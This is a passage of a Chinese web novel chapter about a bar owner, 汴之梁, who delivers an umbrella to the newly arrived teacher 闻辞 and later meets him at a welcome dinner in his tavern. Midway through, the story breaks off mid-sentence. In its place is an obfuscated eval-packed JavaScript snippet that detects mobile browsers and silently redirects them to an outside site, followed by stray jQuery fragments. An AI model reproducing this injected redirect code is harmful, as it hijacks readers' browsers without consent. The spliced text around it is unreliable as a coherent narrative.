这边的路还保持着古城的原有痕迹，卵石点缀，青砖长铺，路不算太平，偶尔一步台阶，油纸伞在他手中提着，竹柄从袋子支出一截，一晃一晃。


    桐油的味道，撞着腿侧，若有若无，钻进鼻腔，又溜走。


    汴之梁偶尔在转角时，顺势瞥过眼神，落在那把奇怪的伞上，他好奇着纸伞的模样，但包裹严实的棉袋，竟连一片伞角都未曾露给他。让他不经意也联想到，这位同纸伞一般，骨架清瘦的主人。


    都这年头，竟还有人用油纸伞，说不上古板更多，还是教条更多，汴之梁真觉稀奇，连这趟送伞的路，都显得颇奇怪。


    一路脚程过去，很快，今日春纷婶没有出摊，连那几句闲聊都免了。


    汴之梁站在门口，对比着手机上的门牌号，一看，再看……


    叩门。


    门开了，里面探出一张脸。


    “梁哥！”堂惜年手里还捧着书，看清来人后径直把门甩给了汴之梁，埋头往院子深处走。


    “那个，我……”汴之梁驻足在门口，话根本来不及说完，拎了拎手里的布袋，嘴唇翕合。


    院子里很安静，大家都在各自忙自己的事，郭祁在堂屋打电话，听语气那头应该是家长，堂惜年依旧坐在竹亭下，天气热起来，凉席上的毯子已经换成了薄一些的，她问汴之梁要不要喝花茶，被他笑着婉拒。


    唯独，不见闻辞的人影。


    汴之梁在竹亭边的蒲团上落座，眼神扫过周围一圈，才道：“闻老师呢？”


    堂惜年终于从书海里抬起头来看他，略微诧异：“你不是来找郭祁的啊？”


    他不知道自己是哪里让堂惜年产生了这样的错觉，汴之梁随和笑道：“当然不是。”他晃了晃手里的东西，“我替人走一趟。”


    堂惜年的目光落在棉麻布袋上片刻，并不惊讶，眉毛一叹，随意朝后边一指：“闻老师在楼上呢。”


    顺着她手指的方向抬头，汴之梁在二楼窗台边捕捉到了一抹淡寂的身影。


    窗户两扇全推，正对着小院，窗边放置了一张书桌，旁边立着盏白色的台灯，闻辞正襟危坐，悬腕执笔，穿着白衬衫，端的是谦谦君子。


    他在写毛笔字。


    老师会练字，倒也不是什么意外的事，无论板书亦或教案，批改作业，用到文书的地方很多，一手好字，是一位教师的招牌。


    窗边的人缓缓落笔，不徐不疾，即便离得这样远，汴之梁仿佛也能够看见他五官似的，就是觉得清晰，连他眨眼的动作都能捕捉到，他始终垂着眸，一笔一划，举手投足，像一片云在漂浮。


    刚下过雨，空气里仍残留着泥土的鲜味，猛一呼吸，汴之梁脑中一颤。


    。


    汴之梁步子后撤。


    他退回到竹亭的位置，将油纸伞斜靠放在蒲团旁，“走了。”汴之梁轻轻一笑，往门外走，“回见。”


    他步子迈得很快，似乎落在石板上的节奏，都轻快几许，扬了扬手，在半空止住了堂惜年想要挽留的话。


    郭祁打完电话出来，瞥向未关的木门：“他今天走这么急？”


    堂惜年继续看书：“不知道，可能忙吧。”


    “那是谁？”


    闻辞下楼来放松筋骨，缓缓出现在身后，他没有戴眼镜，人显得俊气了许多，瞥头就见着堂惜年脚边，那把躺着的油纸伞。


    “汴之梁，你还记得吗？给你送伞。”


    闻辞望着那把伞，不知是在出神还是思考，许久后，他笑：“大概有点印象。”


    这句话，好不规范的表达。


    闻辞拎着伞上了楼，把它取出来，撑开晾在二楼的平台上。魏主任说，这个院子是校长母亲留下的，老人高寿后，便拿来充公，闻辞的房间，是院里所剩，唯一一间二楼。


    房间朝向不错，推开窗，正好能瞧见小城里，最热闹的那条街巷。


    来之前看过攻略，这是南城的旅游必经打卡地——酒馆，餐店，手鼓店，非遗手作，都赶着那条街去。


    不过至今为止，他还没有去街上逛一逛。


    一则没心情，二则调职过来后，琐事冗杂，他实在分不下心沉浸到娱乐中。


    闻辞甫一收回目光，手机便响了起来。


    看清来电显示，闻辞指尖顿了顿，划开后，将手机拿远。


    “闻辞——你tm可真行啊！！”


    “……”


    即便隔着几掌之远，听筒里吼出的字眼依旧清晰可闻，干脆的男声喋喋不休，骂了好几句，才肯罢休。


    “嗯，我可以说话了吗？”闻辞靠上了手边的书桌，指节扣住桌沿，语气平和。


    他没再听到骂声，愤懑的气音从手机里传来。


    闻辞宽慰他：“我去学校看了，还不错，没他们说的那样严重。”


    “这是重点吗？”那头咬牙怒道，“闻辞，你前程不要了？”


    “……”闻辞不作声。


    上头出了新政策，鼓励高校派老师下乡支教，闻辞一不做二不休，直接提交了转岗申请，按规矩，是不该通过的。


    为此，他还专门找过书记一趟。


    前程，这两个字，听着倒挺伟光正。


    闻辞腔调里含着笑意，似是而非：“教书育人不就是我的前程。”


    电话里，无声几许，半响后，才淡淡负气一句：“行，你真行……”


    嘟嘟两声，戛然而止。


    闻辞握着电话，垂头一声叹息，扣到桌上。转岗的事，他并没有告知好友，想来也没什么好说的，人各有志，不必强留，说多了反而徒增负担。


    “阿嚏——！”


    屋内猛地落下个喷嚏，闻辞连人带桌子，引出不小动静，阵仗落在木地板上，击荡满屋扬尘。


    一只闪着镭射光面的青色甲壳虫，从他脚边的光束里桀桀爬过。


    是碌碌虫。


    小时候，总喜欢绑了腿把它提着玩。


    闻辞用脚尖，轻轻触了触它的身体，簌簌——小虫震着亮青的翅膀，遁窗飞走了。


    他的目光，一直追随小虫飘到窗外。


    看吧，连这里的虫子，都比城里的飞得快点。


    .


    汴之梁最近很少到店里。


    他这位老板，称不上勤勉，倒也不曾怠工，到了旅游淡季，汴之梁最常做的事，便是坐在门口，投喂他那一池子的宝贵锦鲤。


    汴之梁说，这是他一池子财神爷。


    姜水也联系不上他，除了微信偶尔收到的一两个网红探店，让她负责转发到官博上，再无其他。


    某日，姜水又抱着一桶鱼食，纳了闷：“人呢，人呢，人呢。”他扭过头，和玉花阿姐抱怨：“我得把他这一池子肥鱼喂死！”


    玉花阿姐正在擦桌子：“小姜水莫慌，他嘛有自己的事情做不是？”


    姜水扣上盖子，出气似的拍了几下，似乎还不解气，作势就盯上了那满池窜动的锦鲤。


    滴滴——两声车鸣。


    “干嘛呢。”汴之梁不知何时靠在门口风铃下，抱着手臂，“小贼。”


    姜水抱着桶，淡定往里走：“稀客啊。”


    “在想你的鱼红烧还是清蒸。”


    汴之梁摇头。


    玉花阿姐从榨汁机里抬起头，笑容质朴：“梁老板，要喝点什么？”


    汴之梁从柜台里抽走了账本，语气淡淡：“倒杯茶就行。”


    然而，茶没喝，就直奔内院。


    小馆今天没什么人，只有零星几桌游客，拍拍照，闲聊唠嗑，院子里放了舒缓的民谣，其实晚间，酒馆里都有驻唱歌手的，偶尔，碰上汴之梁心情尚佳的时候，他也会上去唱一嗓子。


    那得是运气很好的时候。


    白日，无非就是将他那些歌单，翻来覆去地播。歌单里，播到了默认列表的《虚拟》。


    其实汴之梁没有在听歌，也没有在看账。


    他出神得，连一个数字都看不进去，脑子里，只剩下声音。


    唱歌的声音，说话的声音。


    那句，浅短的，门后响起的声音。


    “想什么？”眼前猝然跳出个响指。


    汴之梁被拉回现实，任由姜水坐到他对面，才翻了一页面前的账本：“哦，你记得把这个月的报销交给我，月底了。”


    姜水咬着饼干，直接跳过了话题：“你这几天干嘛呢？”


    她紧紧抓住汴之梁的眼睛，身体前倾。


    “没干嘛。”汴之梁算算账目，又下笔，“上课，还有……”他简短停顿了一下，“写歌。”


    姜水动作缓滞，眨了眨眼睛，片刻后，又什么都没问，只是“哦”了几声。


    然后，谁都没有再说话。


    汴之梁最近确实有事，但，称不上太忙。他偶尔去学校，大多时间，在家里。他去过几次学校，总是撞上闻老师上课的时段，教室在二楼，窗户总是没拉帘，闻老师身条顺，手臂长，站在黑板前写字，仰着头，瘦瘦高高。


    却看不见脸。


    汴之梁从不停留，从不强求。走过那扇门，能看多少，全凭老天施舍，走得快就一眼，走得慢就两眼，于是短短的几面，汴之梁看最多的就是模糊的侧颜。


    不过，他鼻梁很高。


    汴之梁一向不喜欢拔高期望，只是他运气太差了，差到，好几次去办公室，明明所有人都在，却唯独差他，等他走后没多久，人又回到了办公室。


    汴之梁的课少，他在有限的时间里，做好自己的工作，雷打不动经过所有闻辞可能出现的地方，教学楼，食堂，办公室，行政楼……


    无一例外，全都阴差阳错地失之交臂，像戏剧本里，被命运捉弄的主角，这层过分的欲盖弥彰，开始让汴之梁有些厌烦，甚至无趣。一个男人而已，到底值得他费多大劲。


    他开始厌烦这种等待。


    然而，到现在这一刻，他坐在店里，却不得不承认，他运气真是很差。


    汴之梁抬头，目光有些空——奇怪，店里的歌单，又播回了上一首。


    唱道：


    空空留遗憾。


    .


    汴之梁在小馆坐到日晖落下。


    斜阳从椅背的右侧，缓慢爬行，攀过他肩背时，格外慢，照得他整个头顶发丝闪着金辉，天边深处，一声课后铃响起，汴之梁眼皮动了动。


    他迷迷糊糊睁开眼，翻过手机，抬头朝院内道：“阿姐。”午后倦怠，使他嗓音染上沙哑：“南小放学了？”


    玉花阿姐坐在槐树下逗小猫，等着下班，听见这声，偏过半个身体：“是嘞，梁老板。”


    汴之梁揉了揉额角，深吸一口，小馆马上就开晚间场了，他得进去检查好设备。


    驻场歌手是汴之梁的朋友，两人有不浅的交情，他的琴通常不会带回家，都放在小馆，每次演出前，汴之梁都会帮他调音。


    然而，今天酒馆内，却出现了一个不速之客。


    “姜水？”汴之梁打开灯，在酒架前抓到了她，“你没走？”


    他走了几步，才发现姜水耳边还夹着手机，低声应着，见他来了，交代几句


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998485|193909||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    后快速挂断，手中还在写着，姜水挑眉耸肩：“梁哥，给你接了个大单~”


    汴之梁对这些向来没兴趣，只简单应付了一声：“哦。”


    他随手在桌沿起开一瓶百威，嘭一声，气泡在瓶中炸开。


    “诶，现在别喝——”姜水夺过他手里酒瓶，“等下陪客人喝。”


    汴之梁施施然，拿乔打量：“我们场子，有这服务？”


    他什么身价，随便什么人也能让他陪酒？


    “什么嘛，郭祁他们包了场。”姜水推过酒单，“本来是想搞个接风宴的，大家可能觉得拘谨吧，郭祁就找我定了小馆的场子。”


    “接风宴？”


    姜水转过身去清点酒箱：“对啊，闻老师来学校后，还没和大家吃个饭呢，正好趁周末，这不凑巧。”


    “除了校长，去县里开会了，学校大家都来，门卫马叔也来呢。”


    灯光晕晕地转着，落在空间内，汴之梁觉得，自己大概是脑子睡糊涂了，竟稀里糊涂，愚蠢地问出：“哪个闻老师？”


    姜水奇怪地盯着他，似乎不太想回答，端起酒箱，直接越过他：“神经。”


    “……”


    人大概来了十七八个，一拥而入，小馆登时热络，人声很快盖过乐声。


    汴之梁不在门口迎宾，理应说，老板这种情况，都会充当门面职责，撑起场子，他独自站在吧台后，在角落静静地擦着杯子。


    满柜水晶杯，快要擦出火彩，毛巾摩擦在杯子上，发出“吱吱”的划耳声。


    第十九位。


    第二十位。


    第二十一位，是李明也，踩着人群的尾巴溜进来，同他挑了个眼。


    那个人依旧没有出现。


    “梁哥。”身后突然攀上来一双手，“今儿来这么早？”


    是酒馆的歌手阿杰，他难得在开工前看到汴之梁一次。


    “嗯，有点事。”汴之梁仍旧低头擦杯子。


    乐器伴奏已经弹了起来，给场子预热。


    “今晚歌单换一下吧。”他想了想，补充道，“换我的。”


    阿杰看了他，一番打量后，扬起神色：“梁哥，心情不错啊……”


    要知道，平日里，汴之梁连店里的歌单，都不允许有他的歌出现。


    “要你写的那几首，还是带原唱的？”阿杰问。


    汴之梁犹豫后：“写的就行。”


    他其实算个音乐工作者，当然，从前的汴之梁，很乐意承认这一点，甚至，引以为傲。


    阿杰见状，怂恿着：“自己的歌儿，你不上场？”


    汴之梁放下最后一只杯子：“还是别了。”他轻笑，关上抽屉：“我觉着我还是更适合当酒蒙子。”


    阿杰也不再说什么，他们都不太想深入探究这个话题，于是拍拍肩：“那来帮我找谱，我可没你那些稀奇古怪的旋律。”


    “行。”


    小馆门口，挂上了今日休憩的木牌。


    内院的灯光顺次亮起，露天小院文静地蹲在夜色里，只有偶尔传出的吉他声，昭示此夜未打烊。


    一声风铃响，稀碎不成章。


    门被推开的瞬间，所有目光都聚焦了过来，全场的嗓音，登时比方才拔高了调，连笑声都大了许多，争相叫着“闻老师”。接着，陆陆续续从门口一直在搬东西进来，风铃被撞得叮当响……


    满屋，嘈杂更甚。


    汴之梁是在调试键盘的音色时，撞见这一幕的。


    闻老师给所有人带的伴手礼，很快占了他大半个屋子，也不知送的是什么，盒子一个赛一个的大，有人在拆，闻老师就在旁边讲解，对面又连声赞叹，又假意推辞。酒馆有音乐，只见得人嘴动，却不闻声音。汴之梁站在吧台后，愣神看了好一会儿，都只捕捉到几个冁然的笑容。


    他默默在中控左旋按钮。


    “捣什么乱。”姜水拍开他，驱逐似的，“陪客人去，去去去——”


    音响又被调回原来的位置，人声与歌声的落差，再次缩小融汇，在微茫的空隙间，汴之梁听到短暂一声笑。


    清泉似的，格外明显。


    汴之梁睨她一眼：“你怎么不去？”


    “我傻啊。”姜水理直气壮，“你看郭祁那个样子，活脱脱要把闻老师喝趴下的架势，我不去。”


    汴之梁朝窗边的那张桌子望去。


    闻老师不算矮，但被一群人围坐着，竟显得有些收拢，大家玩骰子，郭祁倒多少，他就喝多少，不推辞也没意见，手臂自然地搭在桌上，似乎脸上总是带着亲和暧昧的笑意，与大家说话，偶尔，笑一下，带着他的肩膀也微微抖动。


    说不出的感觉。


    闻辞又输了一局。他似乎不太会玩骰子，总是被动地等待着对方的叫开，于是当数字累积到一个离谱的峰值时，便会被郭祁一叫而开。


    “闻老师，要不这杯我替你喝吧。”堂惜年终归是看不下去，她能看出闻辞不善此种场合，实在是不好意思欺负人家一个新来的。


    “堂老师，你这偏心啊。”郭祁抽走她手里的酒杯，“愿赌服输。”


    堂惜年道：“把人喝趴了还玩什么。”


    “再怎么也轮不着你喝。”郭祁不依不饶，“这杯过吧，下轮我们玩别的。”


    闻辞全程缄默，手在裤腿上，快要搓出条马里亚纳海沟，他其实真想说没关系，不过一点酒，还不至于……


    “我喝。”


    一抬头，汴之梁单手端着托盘，洋酒悠悠地晃动，他垂眼轻笑：“庄家，有意见吗？”